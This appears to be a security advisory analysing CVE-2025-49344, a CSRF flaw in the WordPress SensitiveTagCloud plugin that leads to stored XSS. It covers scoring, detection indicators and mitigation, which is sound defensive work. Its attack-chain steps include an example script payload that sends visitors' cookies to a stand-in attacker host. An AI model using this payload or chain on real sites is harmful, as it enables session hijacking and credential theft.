CVE-2025-49344: 
WordPress vulnerability analysis and mitigation

CVE-2025-49344 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress SensitiveTagCloud plugin by Rene Ade that enables Stored Cross-Site Scripting (XSS) injection. It affects all versions of the plugin through 1.4.1, with no official patch available as of the disclosure date. The vulnerability was reported by researcher Skalucy on October 19, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) and allows an unauthenticated attacker to craft a malicious request that, when executed by an authenticated privileged user, stores a malicious script in the WordPress site — resulting in Stored XSS. The attack vector is network-based, requires no privileges, but does require user interaction (i.e., a privileged user must be tricked into triggering the forged request, such as by visiting a crafted page or clicking a malicious link). The changed scope in the CVSS vector indicates that the injected script can affect users beyond the immediate victim, consistent with stored XSS behavior. No public proof-of-concept code has been identified (Patchstack).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into the WordPress site, which executes in the browsers of any user who visits the affected page. This can lead to session hijacking, credential theft, defacement, or redirection of site visitors to malicious content. The confidentiality, integrity, and availability impacts are each rated Low in the CVSS scoring, but the changed scope means the impact extends beyond the directly targeted user to all site visitors (Patchstack, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-49344. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited despite the theoretical potential for use in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the SensitiveTagCloud plugin version 1.4.1 or earlier, using tools like WPScan or by inspecting publicly accessible plugin directories.
2. Craft malicious request: Create a forged HTML form or page that submits a request to the vulnerable plugin endpoint, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a tag cloud configuration field.
3. Social engineering: Deliver the malicious page link to a privileged WordPress user (e.g., administrator) via phishing email or other means, inducing them to visit the page while authenticated.
4. Trigger CSRF: When the privileged user visits the attacker-controlled page, the forged request is automatically submitted to the WordPress site, storing the malicious script in the plugin's settings or tag data.
5. Stored XSS execution: The injected script executes in the browsers of any subsequent visitors to the affected WordPress page, enabling session hijacking, credential theft, or further attacks (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to SensitiveTagCloud plugin admin endpoints from unusual IP addresses or referrers not matching the WordPress admin panel.
• File System / Database: Unexpected JavaScript content (e.g., <script> tags) stored in the plugin's database entries or tag cloud configuration fields in the WordPress database (wp_options or related tables).
• Network: Outbound connections from site visitors' browsers to unknown external domains following visits to pages rendering the tag cloud widget, potentially indicating active XSS payload execution.
• Browser/User Reports: Site visitors or administrators reporting unexpected redirects, pop-ups, or browser-based credential prompts when visiting pages with the SensitiveTagCloud widget.

As of the disclosure date (December 31, 2025), no official patched version of the SensitiveTagCloud plugin is available. Site administrators should consider deactivating and removing the plugin until a fix is released. As a compensating control, web application firewalls (WAFs) with CSRF and XSS rules (such as those provided by Patchstack, Wordfence, or Cloudflare) can help block exploitation attempts. Monitor the plugin's WordPress repository page for updates and apply any patch immediately upon release (Patchstack).

Patchstack, which discovered and disclosed the vulnerability through researcher Skalucy, classifies it as low priority with unlikely exploitation impact. No significant vendor statements, notable researcher commentary, or broader media coverage have been identified beyond the initial Patchstack disclosure (Patchstack).